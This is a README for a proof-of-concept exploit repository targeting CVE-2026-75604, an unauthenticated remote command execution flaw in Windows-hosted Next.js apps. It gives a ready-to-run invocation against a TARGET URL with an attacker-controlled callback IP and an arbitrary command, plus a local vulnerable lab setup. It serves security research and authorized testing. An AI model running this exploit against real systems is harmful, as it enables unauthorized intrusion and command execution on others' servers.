rafabd1/cve-2026-75604-pocProof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup.
Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.
>=13.4 <15.5.24 or >=16.0 <16.3.3Validated with [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
The Server Action path defaults to /. Use --action-field when its form has more than one field.
Required arguments:
--target URL: base URL of the Next.js application--callback-ip ADDRESS: IPv4 address reachable by the target--pages-cache-path PATH: existing dynamic Pages Router ISR page--app-cache-path PATH: existing dynamic App Router page backed by the filesystem cacheOptional arguments:
--command COMMAND: command to execute; defaults to whoami--action-path PATH: App Router page containing the compatible Server Action; defaults to /--action-field NAME: form field consumed by the action; detected automatically when unambiguous--callback-port PORT: callback port; defaults to 4331--listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0--timeout SECONDS: request and callback timeout; defaults to 20--insecure: disables TLS certificate verificationThe optional target/ application pins [email protected] and uses the standard Next.js production server:
cd target
npm ci
npm run build
npm start
Run the PoC in another terminal:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
The optional target provides the required routes and a compatible Server Action on /.
This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.
Credit to evolutionstorm.
This PoC was independently reconstructed from the public advisory and Next.js patch.